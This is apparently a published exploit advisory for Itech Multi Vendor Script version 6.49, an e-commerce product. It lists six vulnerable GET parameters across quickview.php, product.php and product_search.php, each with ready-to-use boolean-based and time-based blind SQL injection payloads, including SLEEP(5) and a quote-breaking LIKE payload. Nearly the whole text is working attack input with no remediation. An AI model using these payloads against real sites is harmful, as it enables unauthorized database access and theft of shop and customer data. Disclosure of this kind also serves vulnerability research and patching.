# Exploit Title : Itech Multi Vendor Script - Multiple SQL Injections
# Author : Yunus YILDIRIM (Th3GundY)
# Team : CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
# Website : http://www.yunus.ninja
# Contact : yunusyildirim@protonmail.com
# Vendor Homepage : http://itechscripts.com/
# Software Link : http://itechscripts.com/multi-vendor-shopping-script/
# Vuln. Version : 6.49
# Demo : http://multi-vendor.itechscripts.com
# # # # DETAILS # # # #
SQL Injections :
# 1
http://localhost/quickview.php?id=10
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=10 AND 9776=9776
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=10 AND SLEEP(5)
# 2
http://localhost/product.php?id=9
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=9 AND 9693=9693
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=9 AND SLEEP(5)
# 3
http://localhost/product_search.php?search=Adidas
Parameter: search (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: search=Adidas%' AND SLEEP(5) AND '%'='
# 4
http://localhost/product_search.php?category_id=1
Parameter: category_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: category_id=1 AND 8225=8225
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: category_id=1 AND SLEEP(5)
# 5
http://localhost/product_search.php?category_id=1&sub_category_id=1&sub_sub_category_id=1
Parameter: sub_sub_category_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: category_id=1&sub_category_id=1&sub_sub_category_id=1 AND 7485=7485
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: category_id=1&sub_category_id=1&sub_sub_category_id=1 AND SLEEP(5)
# 6
http://localhost/product_search.php?category_id=1&sub_category_id=1
Parameter: sub_category_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: category_id=1&sub_category_id=1 AND 5242=5242
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: category_id=1&sub_category_id=1 AND SLEEP(5)
